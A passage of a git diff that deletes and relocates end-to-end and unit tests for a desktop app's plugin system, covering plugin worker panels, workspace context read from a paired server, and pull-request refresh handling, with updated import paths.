}).click() - await expect(last).toBeHidden(GIT_STEP) - // Approval covered exactly the reviewed bytes, so nothing lands in the page's review queue. - expect(await installedState(page)).toEqual( - PLUGINS.map(() => ({ version: '2.0.0', review: false })) - ) - await expect(page.locator('#plugin-detail-heading')).toBeHidden() - await expect( - page.locator('[data-plugin-key^="stablyai.orca-review-"]').getByRole('button', { - name: 'Review', - exact: true - }) - ).toHaveCount(0) - } finally { - await session.dispose(launched?.app) - await rm(root, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/plugin-worker-panel.spec.ts b/tests/e2e/plugin-worker-panel.spec.ts deleted file mode 100644 index c16aac91e48..00000000000 --- a/tests/e2e/plugin-worker-panel.spec.ts +++ /dev/null @@ -1,101 +0,0 @@ -/** - * Invariant: a panel and its plugin's own worker are one program. The panel's first - * `plugin.request` starts the worker, a setting the person changes reaches it, a - * `persist: 'storage'` atom is the worker's `storage`, the worker's post reaches `plugin.on`, and - * the declared settings show under the plugin in Settings. - */ - -import { cp, mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { disablePluginSystem, enableDevPlugins } from './helpers/plugin-smoke' -import { ISOLATED_FRAMES_E2E } from './helpers/plugin-frame-guest' - -test.use(ISOLATED_FRAMES_E2E) - -async function openPanel(page: Page, title: string): Promise { - await page.evaluate(async () => { - const store = window.__store?.getState() - if (store && !store.rightSidebarOpen) { - store.toggleRightSidebar() - } - await window.api.plugins.refresh() - }) - const button = page.getByRole('button', { name: title }) - await expect(button).toBeVisible({ timeout: 15_000 }) - await button.click() -} - -test('a panel and its own worker: requests, posts, a storage atom, settings', async ({ - orcaPage, - electronApp -}, testInfo) => { - const tempRoot = await mkdtemp(join(tmpdir(), 'orca-worker-panel-')) - const pluginRoot = join(tempRoot, 'hello-worker-panel') - try { - await cp(join(process.cwd(), 'examples', 'plugins', 'hello-worker-panel'), pluginRoot, { - recursive: true - }) - await enableDevPlugins(orcaPage, [pluginRoot]) - await openPanel(orcaPage, 'Hello Worker Panel') - - await expect(orcaPage.getByRole('heading', { name: 'Tasks' })).toBeVisible({ timeout: 15_000 }) - await expect(orcaPage.getByText('Edit src/panel.tsx and save')).toBeVisible() - await expect(orcaPage.getByText('1 open')).toBeVisible() - // The worker answered the panel's first plugin.request from the `suggestions` default. - const draft = orcaPage.getByPlaceholder('New task') - await expect(draft).toHaveValue('Write a test', { timeout: 15_000 }) - await draft.fill('Ship without a build') - await orcaPage.getByRole('button', { name: 'Add task' }).click() - await expect(orcaPage.getByText('Ship without a build')).toBeVisible() - await expect(orcaPage.getByText('2 open')).toBeVisible() - - // A setting the person changes reaches the worker's next answer. - await orcaPage.evaluate(async () => { - const plugin = (await window.api.plugins.list()).find( - (entry) => entry.name === 'Hello Worker Panel' - ) - const written = await window.api.plugins.setSetting?.({ - pluginKey: plugin?.pluginKey ?? '', - key: 'suggestions', - value: 'Ship the bridge' - }) - if (!written?.ok) { - throw new Error(`setSetting failed: ${JSON.stringify(written)}`) - } - }) - await orcaPage.getByRole('button', { name: 'Suggest' }).click() - await expect(draft).toHaveValue('Ship the bridge') - - // Finishing the list: the atom lands in storage, the worker sees it and posts back. - await orcaPage.getByText('Edit src/panel.tsx and save').click() - await orcaPage.getByText('Ship without a build').click() - await expect(orcaPage.getByText('All 3 done!')).toBeVisible({ timeout: 15_000 }) - - // The declared settings show under the plugin in Orca's Settings, with the person's value. - const pluginKey = await orcaPage.evaluate( - async () => - (await window.api.plugins.list()).find((entry) => entry.name === 'Hello Worker Panel') - ?.pluginKey - ) - await electronApp.evaluate(({ app }, link) => { - app.emit('open-url', { preventDefault: () => undefined }, link) - }, `orca://plugins/${pluginKey}`) - const article = orcaPage.getByRole('article') - await expect(article.locator('#plugin-detail-heading')).toContainText('Hello Worker Panel', { - timeout: 30_000 - }) - await expect(article.getByText('Celebrate finished lists')).toBeVisible() - await expect(article.getByLabel('Task ideas')).toHaveValue('Ship the bridge') - await expect(article.getByRole('switch', { name: 'Celebrate finished lists' })).toBeChecked() - await testInfo.attach('plugin-settings', { - body: await article.screenshot(), - contentType: 'image/png' - }) - } finally { - await disablePluginSystem(orcaPage).catch(() => undefined) - await rm(tempRoot, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/plugin-workspace-context-paired-server.spec.ts b/tests/e2e/plugin-workspace-context-paired-server.spec.ts deleted file mode 100644 index d8c38a063f2..00000000000 --- a/tests/e2e/plugin-workspace-context-paired-server.spec.ts +++ /dev/null @@ -1,232 +0,0 @@ -/** - * #38653: a panel's `workspace.readContext` names the focused workspace when it lives on a paired - * Orca server, and a focused local workspace's context is unchanged by that remote fallback. - */ - -import { mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import type { Locator, Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { launchPairedElectronClient } from './helpers/paired-electron-client' -import { enableDevPlugins } from './helpers/plugin-smoke' -import { pluginGuest, readInGuest, waitForGuestReady } from './helpers/plugin-frame-guest' -import { worktreeRowSurface } from './worktree-row-locators' - -// What a plugin sees: labels and terminals, never the raw id or path. -type Context = { branch: string; displayName: string; terminals: { id: string }[] } | null - -const SERVER_LABEL = 'Server checkout' - -const PANEL = `` - -async function readContext( - guest: Locator -): Promise<{ value: Context; ms: number; error?: string }> { - await readInGuest(guest, 'window.__answer = null') - await readInGuest(guest, 'window.__ask()') - let answer: { value: Context; ms: number; error?: string } | null = null - await expect - .poll(async () => (answer = await readInGuest(guest, 'window.__answer ?? null')), { - timeout: 15_000 - }) - .not.toBeNull() - if (answer!.error) { - throw new Error(`workspace.readContext failed: ${answer!.error}`) - } - return answer! -} - -function focus(page: Page) { - return page.evaluate(() => { - const state = window.__store!.getState() - return { - activeWorktreeId: state.activeWorktreeId, - activeWorkspaceKey: state.activeWorkspaceKey, - activeWorkspaceExecutionHostId: state.activeWorkspaceExecutionHostId - } - }) -} - -test('a panel reads the focused paired-server workspace, and a local one as before', async ({ - testRepoPath -}, testInfo) => { - // Two Electron launches (server and paired desktop), a sync, and ~16 s of offline panel polling. - test.setTimeout(300_000) - const host = await launchHeadlessPairedRuntimeHost() - let hostRunning = true - const tempRoot = await mkdtemp(join(tmpdir(), 'orca-38653-')) - const pluginRoot = join(tempRoot, 'context-probe') - try { - const added = await host.client.call<{ repo: { id: string } }>('repo.add', { - path: testRepoPath, - kind: 'git' - }) - const serverRepoId = added.result.repo.id - const desktop = await launchPairedElectronClient(host.offer, testInfo, 'context host', { - extraEnv: { ORCA_PLUGIN_ISOLATED_FRAMES: '1' } - }) - try { - const page = desktop.page - const hostId = `runtime:${desktop.environmentId}` - // The desktop's own checkout of the same repo, beside the server's rows. - const localId = await page.evaluate(async (repoPath) => { - const store = window.__store! - await store.getState().setActiveRuntimeEnvironmentPreference(null) - const repo = await window.api.repos.add({ path: repoPath, displayName: 'Desktop copy' }) - if ('error' in repo) { - throw new Error(repo.error) - } - await store.getState().fetchReposForAllHosts() - await store.getState().fetchWorktrees(repo.repo.id, { forceLocalOwner: true }) - store.getState().setVisibleWorkspaceHostIds(null) - const worktree = store - .getState() - .worktreesByRepo[repo.repo.id]?.find((row) => row.isMainWorktree) - if (!worktree) { - throw new Error('Local checkout missing') - } - return worktree.id - }, testRepoPath) - const findServerId = (): Promise => - page.evaluate( - ({ repoId, hostId }) => - window.__store - ?.getState() - .allWorktrees() - .find((worktree) => worktree.repoId === repoId && worktree.hostId === hostId)?.id ?? - null, - { repoId: serverRepoId, hostId } - ) - await expect - .poll(findServerId, { - timeout: 60_000, - message: "The desktop never listed the server's row" - }) - .not.toBeNull() - const serverId = (await findServerId())! - expect(serverId).not.toBe(localId) - // A label only the server's copy carries, so the panel's answer names which one it read. - await host.client.call('worktree.set', { - worktree: `id:${serverId}`, - displayName: SERVER_LABEL - }) - - await mkdir(pluginRoot, { recursive: true }) - await writeFile(join(pluginRoot, 'panel.html'), PANEL) - await writeFile( - join(pluginRoot, 'orca-plugin.json'), - JSON.stringify({ - manifestVersion: 2, - execution: 'sandboxed-ui', - id: 'context-probe', - name: 'Context Probe', - version: '1.0.0', - engines: { orca: '>=1.4.246' }, - pluginApi: 1, - contributes: { panels: [{ id: 'probe', title: 'Context Probe', entry: 'panel.html' }] }, - capabilities: [{ kind: 'workspace:read' }] - }) - ) - await enableDevPlugins(page, [pluginRoot]) - await page.evaluate(async () => { - const store = window.__store?.getState() - if (store && !store.rightSidebarOpen) { - store.toggleRightSidebar() - } - await window.api.plugins.refresh() - }) - - // Local focus through the real sidebar click. - await worktreeRowSurface(page, localId).click() - await expect - .poll(() => focus(page)) - .toEqual({ - activeWorktreeId: localId, - activeWorkspaceKey: `worktree:${localId}`, - activeWorkspaceExecutionHostId: 'local' - }) - await page.getByRole('button', { name: 'Context Probe' }).click({ timeout: 15_000 }) - const guest = pluginGuest(page, 'Context Probe') - await waitForGuestReady(guest) - let local: Context = null - await expect - .poll(async () => (local = (await readContext(guest)).value)?.terminals.length ?? 0, { - timeout: 30_000 - }) - .toBeGreaterThan(0) - expect(local!.branch).not.toBe('') - expect(local!.displayName).not.toBe(SERVER_LABEL) - - // The server's workspace, same path on another host, through the same click. - await worktreeRowSurface(page, serverId).click() - await expect - .poll(() => focus(page)) - .toEqual({ - activeWorktreeId: serverId, - activeWorkspaceKey: `worktree:${serverId}`, - activeWorkspaceExecutionHostId: hostId - }) - let remote: Context = null - await expect - .poll(async () => (remote = (await readContext(guest)).value)?.displayName ?? null, { - timeout: 30_000, - message: 'readContext never named the focused server workspace' - }) - .toBe(SERVER_LABEL) - expect(remote!.branch).toBe(local!.branch) - // The server's terminals, never the desktop checkout's. - const localTerminalIds = new Set(local!.terminals.map(({ id }) => id)) - expect(remote!.terminals.filter(({ id }) => localTerminalIds.has(id))).toEqual([]) - // Panel polling must stay off the 1.5 s fetch bound once the desktop holds the server's rows. - const polls: number[] = [] - for (let poll = 0; poll < 5; poll += 1) { - const answer = await readContext(guest) - expect(answer.value?.displayName).toBe(SERVER_LABEL) - polls.push(answer.ms) - } - testInfo.annotations.push({ type: 'remote readContext ms', description: polls.join(',') }) - expect(Math.max(...polls)).toBeLessThan(1_000) - - // The server goes away: polls keep answering promptly, from the rows the desktop holds. - await host.dispose() - hostRunning = false - const offline: number[] = [] - // ast-grep-ignore: test-no-polling-loop -- replays a panel's 2 s poll to time each answer; nothing is awaited - for (let poll = 0; poll < 8; poll += 1) { - const answer = await readContext(guest) - expect(answer.value?.displayName).toBe(SERVER_LABEL) - offline.push(answer.ms) - // ast-grep-ignore: test-no-real-time-wait -- the claim spans the real 10 s refetch window of a panel's 2 s poll - await page.waitForTimeout(2_000) - } - testInfo.annotations.push({ type: 'offline readContext ms', description: offline.join(',') }) - // At most the 1.5 s fetch bound, and never on consecutive polls. - expect(Math.max(...offline)).toBeLessThan(1_800) - expect(offline.filter((ms) => ms > 1_000).length).toBeLessThanOrEqual(2) - - // Back to the local checkout: the same context as before the remote focus. - await worktreeRowSurface(page, localId).click() - await expect - .poll(async () => (await readContext(guest)).value, { timeout: 30_000 }) - .toEqual(local) - } finally { - await desktop.dispose() - } - } finally { - if (hostRunning) { - await host.dispose() - } - await rm(tempRoot, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/plugin-declarative-panel.spec.ts b/tests/e2e/plugins/plugin-declarative-panel.spec.ts similarity index 93% rename from tests/e2e/plugin-declarative-panel.spec.ts rename to tests/e2e/plugins/plugin-declarative-panel.spec.ts index 7ceeced71f5..dcf32f29aeb 100644 --- a/tests/e2e/plugin-declarative-panel.spec.ts +++ b/tests/e2e/plugins/plugin-declarative-panel.spec.ts @@ -8,14 +8,15 @@ import { cp, mkdtemp, rm } from 'node:fs/promises' import { createServer } from 'node:http' import { tmpdir } from 'node:os' import { join } from 'node:path' -import { expect, test } from './helpers/orca-app' -import { disablePluginSystem, enableDevPlugins } from './helpers/plugin-smoke' +import { test } from '../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { disablePluginSystem, enableDevPlugins } from './plugin-smoke' import { evalInGuest, pluginGuest, waitForGuestReady, ISOLATED_FRAMES_E2E -} from './helpers/plugin-frame-guest' +} from './plugin-frame-guest' // Isolated frames are off by default; these journeys exercise the guest path. test.use(ISOLATED_FRAMES_E2E) diff --git a/tests/e2e/helpers/plugin-frame-guest.ts b/tests/e2e/plugins/plugin-frame-guest.ts similarity index 97% rename from tests/e2e/helpers/plugin-frame-guest.ts rename to tests/e2e/plugins/plugin-frame-guest.ts index 732660a6d3f..cc4e36cb5b7 100644 --- a/tests/e2e/helpers/plugin-frame-guest.ts +++ b/tests/e2e/plugins/plugin-frame-guest.ts @@ -1,5 +1,6 @@ import type { Locator, Page } from '@stablyai/playwright-test' -import { expect } from './orca-app' +import '../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' /** A desktop plugin frame: an isolated `` guest titled with the panel or editor title. */ export function pluginGuest(page: Page, title: string): Locator { diff --git a/tests/e2e/helpers/plugin-git-fixture.ts b/tests/e2e/plugins/plugin-git-fixture.ts similarity index 100% rename from tests/e2e/helpers/plugin-git-fixture.ts rename to tests/e2e/plugins/plugin-git-fixture.ts diff --git a/tests/e2e/helpers/plugin-gleam-catalog-fixture.ts b/tests/e2e/plugins/plugin-gleam-catalog-fixture.ts similarity index 100% rename from tests/e2e/helpers/plugin-gleam-catalog-fixture.ts rename to tests/e2e/plugins/plugin-gleam-catalog-fixture.ts diff --git a/tests/e2e/plugin-isolated-frame.spec.ts b/tests/e2e/plugins/plugin-isolated-frame.spec.ts similarity index 96% rename from tests/e2e/plugin-isolated-frame.spec.ts rename to tests/e2e/plugins/plugin-isolated-frame.spec.ts index c762f98251b..1dade171944 100644 --- a/tests/e2e/plugin-isolated-frame.spec.ts +++ b/tests/e2e/plugins/plugin-isolated-frame.spec.ts @@ -11,9 +11,10 @@ import { createRequire } from 'node:module' import { tmpdir } from 'node:os' import { dirname, join } from 'node:path' import type { Page } from '@stablyai/playwright-test' -import { PLUGIN_MANIFEST_V2_SINCE } from '../../src/shared/plugins/manifest/plugin-schema-field-docs' -import { expect, test } from './helpers/orca-app' -import { disablePluginSystem, enableDevPlugins } from './helpers/plugin-smoke' +import { PLUGIN_MANIFEST_V2_SINCE } from '../../../src/shared/plugins/manifest/plugin-schema-field-docs' +import { test } from '../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { disablePluginSystem, enableDevPlugins } from './plugin-smoke' import { clickInGuest, evalInGuest, @@ -21,7 +22,7 @@ import { pluginGuest, waitForGuestReady, ISOLATED_FRAMES_E2E -} from './helpers/plugin-frame-guest' +} from './plugin-frame-guest' // Isolated frames are off by default; these journeys exercise the guest path. test.use(ISOLATED_FRAMES_E2E) diff --git a/tests/e2e/plugin-name-clash.spec.ts b/tests/e2e/plugins/plugin-name-clash.spec.ts similarity index 92% rename from tests/e2e/plugin-name-clash.spec.ts rename to tests/e2e/plugins/plugin-name-clash.spec.ts index 8e286fa0564..b9ae501573c 100644 --- a/tests/e2e/plugin-name-clash.spec.ts +++ b/tests/e2e/plugins/plugin-name-clash.spec.ts @@ -7,8 +7,9 @@ import { mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { disablePluginSystem, enableDevPlugins } from './helpers/plugin-smoke' +import { test } from '../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { disablePluginSystem, enableDevPlugins } from './plugin-smoke' async function writeCatppuccinPlugin(root: string, publisher: string): Promise { await mkdir(root, { recursive: true }) @@ -64,6 +65,7 @@ test('plugins and themes sharing a name show their publishers', async ({ orcaPag await openSettingsPane(orcaPage, 'plugins') const section = orcaPage.locator('[data-settings-section="plugins"]') + await section.getByRole('tab', { name: /^Installed/ }).click() await expect(section.getByText(/^Catppuccin for Orca/).first()).toBeVisible() await orcaPage.screenshot({ path: join(proofDir ?? testInfo.outputPath(), 'plugin-list.png') diff --git a/tests/e2e/plugin-new-file.spec.ts b/tests/e2e/plugins/plugin-new-file.spec.ts similarity index 93% rename from tests/e2e/plugin-new-file.spec.ts rename to tests/e2e/plugins/plugin-new-file.spec.ts index cb908428bc2..d91e3d21aac 100644 --- a/tests/e2e/plugin-new-file.spec.ts +++ b/tests/e2e/plugins/plugin-new-file.spec.ts @@ -8,10 +8,11 @@ import { mkdir, mkdtemp, readFile, rm, writeFile } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' import { deflateSync } from 'node:zlib' -import { PLUGIN_MANIFEST_V2_SINCE } from '../../src/shared/plugins/manifest/plugin-schema-field-docs' -import { expect, test } from './helpers/orca-app' -import { disablePluginSystem, enableDevPlugins } from './helpers/plugin-smoke' -import { pluginGuest, readInGuest, ISOLATED_FRAMES_E2E } from './helpers/plugin-frame-guest' +import { PLUGIN_MANIFEST_V2_SINCE } from '../../../src/shared/plugins/manifest/plugin-schema-field-docs' +import { test } from '../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { disablePluginSystem, enableDevPlugins } from './plugin-smoke' +import { pluginGuest, readInGuest, ISOLATED_FRAMES_E2E } from './plugin-frame-guest' // Isolated frames are off by default; these journeys exercise the guest path. test.use(ISOLATED_FRAMES_E2E) diff --git a/tests/e2e/plugin-panel-agents.spec.ts b/tests/e2e/plugins/plugin-panel-agents.spec.ts similarity index 90% rename from tests/e2e/plugin-panel-agents.spec.ts rename to tests/e2e/plugins/plugin-panel-agents.spec.ts index 47e6336113c..c95177b7923 100644 --- a/tests/e2e/plugin-panel-agents.spec.ts +++ b/tests/e2e/plugins/plugin-panel-agents.spec.ts @@ -7,17 +7,27 @@ import { mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' -import { expect, test } from './helpers/orca-app' -import { emitCodexHookStatus, readHookEndpoint } from './helpers/agent-hook-endpoint' -import { disablePluginSystem, enableDevPlugins } from './helpers/plugin-smoke' +import { test } from '../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { + emitCodexHookStatus, + readHookEndpoint +} from '../agents/session-fixtures/agent-hook-endpoint' +import { disablePluginSystem, enableDevPlugins } from './plugin-smoke' import { ISOLATED_FRAMES_E2E, pluginGuest, readInGuest, waitForGuestReady -} from './helpers/plugin-frame-guest' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { waitForActivePaneHookDescriptor, waitForActiveTerminalManager } from './helpers/terminal' +} from './plugin-frame-guest' +import { + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../desktop/renderer-probes/store' +import '../terminal/input/terminal' +import { waitForActivePaneHookDescriptor } from '../terminal/input/terminal-active-pane' +import { waitForActiveTerminalManager } from '../terminal/layout/terminal-pane-operations' test.use(ISOLATED_FRAMES_E2E) diff --git a/tests/e2e/helpers/plugin-panel-navigation-observer.ts b/tests/e2e/plugins/plugin-panel-navigation-observer.ts similarity index 100% rename from tests/e2e/helpers/plugin-panel-navigation-observer.ts rename to tests/e2e/plugins/plugin-panel-navigation-observer.ts diff --git a/tests/e2e/helpers/plugin-smoke.ts b/tests/e2e/plugins/plugin-smoke.ts similarity index 100% rename from tests/e2e/helpers/plugin-smoke.ts rename to tests/e2e/plugins/plugin-smoke.ts diff --git a/tests/e2e/helpers/plugin-update-catalog-fixture.ts b/tests/e2e/plugins/plugin-update-catalog-fixture.ts similarity index 100% rename from tests/e2e/helpers/plugin-update-catalog-fixture.ts rename to tests/e2e/plugins/plugin-update-catalog-fixture.ts diff --git a/tests/e2e/plugin-workspace-persist-switch.spec.ts b/tests/e2e/plugins/plugin-workspace-persist-switch.spec.ts similarity index 92% rename from tests/e2e/plugin-workspace-persist-switch.spec.ts rename to tests/e2e/plugins/plugin-workspace-persist-switch.spec.ts index 6353514108e..e9e66e57fc5 100644 --- a/tests/e2e/plugin-workspace-persist-switch.spec.ts +++ b/tests/e2e/plugins/plugin-workspace-persist-switch.spec.ts @@ -8,10 +8,15 @@ import { mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { disablePluginSystem, enableDevPlugins } from './helpers/plugin-smoke' -import { ISOLATED_FRAMES_E2E } from './helpers/plugin-frame-guest' -import { switchToOtherWorktree, switchToWorktree, waitForActiveWorktree } from './helpers/store' +import { test } from '../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { disablePluginSystem, enableDevPlugins } from './plugin-smoke' +import { ISOLATED_FRAMES_E2E } from './plugin-frame-guest' +import { + switchToOtherWorktree, + switchToWorktree, + waitForActiveWorktree +} from '../desktop/renderer-probes/store' test.use(ISOLATED_FRAMES_E2E) diff --git a/tests/e2e/pr-refresh-actual-completion.unit.test.ts b/tests/e2e/pr-refresh-actual-completion.unit.test.ts deleted file mode 100644 index dd6ca3b1e9e..00000000000 --- a/tests/e2e/pr-refresh-actual-completion.unit.test.ts +++ /dev/null @@ -1,407 +0,0 @@ -import { afterEach, beforeEach, expect, it, vi } from 'vitest' -import { createStore } from 'zustand/vanilla' -import type { AppState } from '../../src/renderer/src/store/types' -import type { - GitHubPRRefreshEvent, - PRRefreshOutcome, - PRSnapshotReply -} from '../../src/shared/github/pull-requests/refresh/pull-request-refresh-types' -import { - makeCandidate, - makePR -} from '../../src/main/github/pull-requests/refresh/pr-refresh-coordinator-test-harness' - -const mocks = vi.hoisted(() => ({ resolve: vi.fn(), send: vi.fn(), gate: vi.fn() })) -vi.mock('../../src/main/github/client/lookup/branch-lookup-resolution', () => ({ - resolvePRForBranchOutcome: mocks.resolve -})) -vi.mock('../../src/main/github/accounts/github-project-account', () => ({ - githubPRPolicyProjects: () => ({ source: null, selection: 0 }), - resolveGitHubProjectAccount: () => null -})) -vi.mock('../../src/main/github/execution/github-operation-slots', () => ({ - acquire: async () => {}, - release: () => {} -})) -vi.mock('../../src/main/github/pull-requests/refresh/pr-refresh-rate-limit-gate', () => ({ - prRefreshRateLimitPausedUntil: mocks.gate -})) -vi.mock('../../src/main/github/pull-requests/refresh/pr-refresh-renderer-port', () => ({ - prRefreshRenderers: () => ({ isRendererOpen: () => true, sendToTrustedUI: mocks.send }) -})) - -let context: Awaited> -beforeEach(async () => { - vi.resetModules() - vi.useFakeTimers() - vi.setSystemTime(1_000) - mocks.resolve.mockReset() - mocks.send.mockReset() - mocks.gate.mockReset().mockResolvedValue(null) - context = await fixture() -}) -afterEach(() => { - vi.clearAllTimers() - vi.useRealTimers() - vi.unstubAllGlobals() -}) - -async function fixture() { - const { createGitHubSlice } = await import('../../src/renderer/src/store/github/github') - const coordinator = - await import('../../src/main/github/pull-requests/refresh/pr-refresh-coordinator') - const { RuntimeHostedReviewCommands } = - await import('../../src/main/runtime/integrations/reviews/runtime-hosted-review-commands') - const candidate = makeCandidate({ - cacheKey: 'repo::feature/test', - repoId: 'repo', - currentHeadOid: 'head-sha' - }) - const repo = { - id: 'repo', - path: '/repo', - kind: 'git' as const, - displayName: 'repo', - badgeColor: '', - addedAt: 0 - } - const commands = new RuntimeHostedReviewCommands({ - resolveRepo: async () => repo, - resolveTarget: async () => ({ repo, repoPath: repo.path }), - getExecutionOptions: () => undefined, - recordCreated: () => {} - }) - const store = createStore()((set, get, api) => ({ - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: This fixture supplies only the state read by real PR event application. - ...({ - settings: {}, - repos: [repo], - worktreesByRepo: { - repo: [{ id: 'wt-1', repoId: 'repo', branch: candidate.branch, head: 'head-sha' }] - }, - prCache: {}, - hostedReviewCache: {}, - prRefreshStates: {}, - prRefreshSequences: {} - } as unknown as AppState), - ...createGitHubSlice(set, get, api) - })) - mocks.send.mockImplementation((_channel, event: GitHubPRRefreshEvent) => { - store.getState().applyGitHubPRRefreshEvent(event) - }) - vi.stubGlobal('window', { - api: { - gh: { - refreshPRNow: (args: Parameters[0]) => - coordinator.refreshPRNow(args.candidate, args.reason, { userRefresh: args.userRefresh }) - } - } - }) - const foreground = (forced = false) => - commands.getRepoPRForBranch( - 'repo', - candidate.branch, - null, - null, - false, - 'head-sha', - 'active', - forced - ) - const found = (title: string): PRRefreshOutcome => ({ - kind: 'found', - fetchedAt: Date.now(), - pr: makePR({ title }) - }) - return { coordinator, candidate, store, foreground, found } -} - -it.each(['queued', 'immediate'] as const)( - 'delivers the accepted external result after a rejected late %s completion', - async (origin) => { - const { coordinator, candidate, store, foreground, found } = context - const old = Promise.withResolvers() - mocks.resolve.mockReturnValueOnce(old.promise).mockImplementation(async () => found('current')) - coordinator.reportVisiblePRRefreshCandidates([candidate], 1, 1) - let immediate: Promise | undefined - if (origin === 'immediate') { - immediate = coordinator.refreshPRNow(candidate, 'active') - } - await vi.advanceTimersByTimeAsync(0) - await vi.advanceTimersByTimeAsync(5_000 - Date.now()) - await expect(foreground(origin === 'immediate')).resolves.toMatchObject({ - fetchedAt: 5_000, - pr: { title: 'current' } - }) - await vi.advanceTimersByTimeAsync(6_000 - Date.now()) - old.resolve({ kind: 'no-pr', fetchedAt: 6_000 }) - await immediate - await vi.advanceTimersByTimeAsync(0) - expect(store.getState().prCache[candidate.cacheKey]).toMatchObject({ - fetchedAt: 5_000, - data: { title: 'current' } - }) - expect(store.getState().prRefreshStates[candidate.cacheKey]?.status).not.toBe('in-flight') - const { preparePRBranchRead } = - await import('../../src/main/github/client/lookup/pr-for-branch-outcome') - const prepared = await preparePRBranchRead('/repo', candidate.branch, null, null, null, { - currentHeadOid: 'head-sha' - }) - expect(prepared.cached()?.outcome).toMatchObject({ fetchedAt: 5_000, pr: { title: 'current' } }) - mocks.resolve.mockImplementation(async () => found('next ordinary read')) - await vi.advanceTimersByTimeAsync(118_999) - expect(store.getState().prCache[candidate.cacheKey]?.data?.title).toBe('current') - await vi.advanceTimersByTimeAsync(1) - expect(store.getState().prCache[candidate.cacheKey]).toMatchObject({ - fetchedAt: 125_000, - data: { title: 'next ordinary read' } - }) - } -) - -it('keeps the accepted external failure and gate when the old local success completes', async () => { - const { coordinator, candidate, store, foreground, found } = context - const old = Promise.withResolvers() - mocks.resolve.mockReturnValueOnce(old.promise).mockImplementation(async () => ({ - kind: 'upstream-error', - fetchedAt: Date.now(), - errorType: 'rate_limited', - message: 'wait', - retryDisabledUntil: 305_000 - })) - coordinator.reportVisiblePRRefreshCandidates([candidate], 1, 1) - await vi.advanceTimersByTimeAsync(0) - await vi.advanceTimersByTimeAsync(5_000 - Date.now()) - await expect(foreground()).resolves.toMatchObject({ errorType: 'rate_limited' }) - await vi.advanceTimersByTimeAsync(6_000 - Date.now()) - old.resolve(found('obsolete')) - await vi.advanceTimersByTimeAsync(0) - expect(store.getState().prCache[candidate.cacheKey]?.data).toBeUndefined() - expect(store.getState().prRefreshStates[candidate.cacheKey]).toMatchObject({ - status: 'error', - retryDisabledUntil: 305_000, - nextAutoRetryAt: 305_000 - }) - await expect(coordinator.refreshPRNow(candidate)).resolves.toMatchObject({ - errorType: 'rate_limited' - }) - mocks.resolve.mockImplementation(async () => found('after gate')) - await vi.advanceTimersByTimeAsync(298_999) - expect(store.getState().prCache[candidate.cacheKey]?.data).toBeUndefined() - await vi.advanceTimersByTimeAsync(1) - expect(store.getState().prCache[candidate.cacheKey]).toMatchObject({ - fetchedAt: 305_000, - data: { title: 'after gate' } - }) -}) - -it.each(['queued', 'immediate'] as const)( - 'finishes rejected %s loading and later delivers the pending actual result', - async (origin) => { - const { coordinator, candidate, store, foreground, found } = context - const old = Promise.withResolvers() - const fresh = Promise.withResolvers() - mocks.resolve.mockReturnValueOnce(old.promise).mockReturnValueOnce(fresh.promise) - coordinator.reportVisiblePRRefreshCandidates([candidate], 1, 1) - const immediate = origin === 'immediate' ? coordinator.refreshPRNow(candidate, 'active') : null - await vi.advanceTimersByTimeAsync(0) - await vi.advanceTimersByTimeAsync(5_000 - Date.now()) - const external = foreground(origin === 'immediate') - await vi.advanceTimersByTimeAsync(0) - await vi.advanceTimersByTimeAsync(6_000 - Date.now()) - old.resolve({ kind: 'no-pr', fetchedAt: 6_000 }) - if (immediate) { - await expect(immediate).resolves.toEqual({ - revalidation: { invalidated: true, retryAfterMs: 10_000 } - }) - } - await vi.advanceTimersByTimeAsync(0) - expect(store.getState().prCache[candidate.cacheKey]).toBeUndefined() - expect(store.getState().prRefreshStates[candidate.cacheKey]?.status).toBe('skipped') - await vi.advanceTimersByTimeAsync(1_000) - fresh.resolve(found('current')) - await external - await vi.advanceTimersByTimeAsync(4_000) - expect(store.getState().prCache[candidate.cacheKey]).toMatchObject({ - fetchedAt: 7_000, - data: { title: 'current' } - }) - expect(mocks.resolve).toHaveBeenCalledTimes(2) - } -) - -it('keeps rejected raw data out of the actual local action reply writer', async () => { - const { coordinator, candidate, store, foreground, found } = context - const old = Promise.withResolvers() - const fresh = Promise.withResolvers() - store.setState({ - prCache: { [candidate.cacheKey]: { fetchedAt: 500, data: makePR({ title: 'displayed' }) } } - }) - mocks.resolve.mockReturnValueOnce(old.promise).mockReturnValueOnce(fresh.promise) - coordinator.reportVisiblePRRefreshCandidates([candidate], 1, 1) - const action = store.getState().fetchPRForBranch('/repo', candidate.branch, { - repoId: 'repo', - worktreeId: 'wt-1', - reason: 'active', - force: true - }) - await vi.advanceTimersByTimeAsync(0) - await 